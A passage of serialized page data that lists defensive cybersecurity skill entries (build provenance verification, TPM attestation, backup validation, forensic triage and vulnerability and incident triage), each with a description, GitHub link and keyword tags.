control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[116],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[118,119,120,121,36,37,122,123,39,124,125,126,127,128,129,130,131,132,133,134],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":136,"name":137,"nameZh":6,"description":138,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":139,"categories":140,"keywords":142,"publishedAt":46},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[141],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[143,131,144,145,36,146,37,39,147,148,149,150,151,152,153,154,155,156,157,158],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":160,"name":161,"nameZh":6,"description":162,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":163,"categories":164,"keywords":167,"publishedAt":46},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[165,166],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[153,168,169,170,34,37,171,172,147,173,174,175,176,177,178,179,180,181,182,183],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":185,"name":186,"nameZh":6,"description":187,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":188,"categories":189,"keywords":191,"publishedAt":46},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[190],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[192,193,194,37,195,196,197,198,199,200,201,202,203,204,205,206,150,207,208,209],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":211,"name":212,"nameZh":6,"description":213,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":214,"categories":215,"keywords":217,"publishedAt":46},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[216],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[218,219,220,37,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":238,"name":239,"nameZh":6,"description":240,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":241,"categories":242,"keywords":244,"publishedAt":46},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[243],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[36,245,37,246,247,248,249,250,251,252,253,179,254,180,255,256,257,258,259,260],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]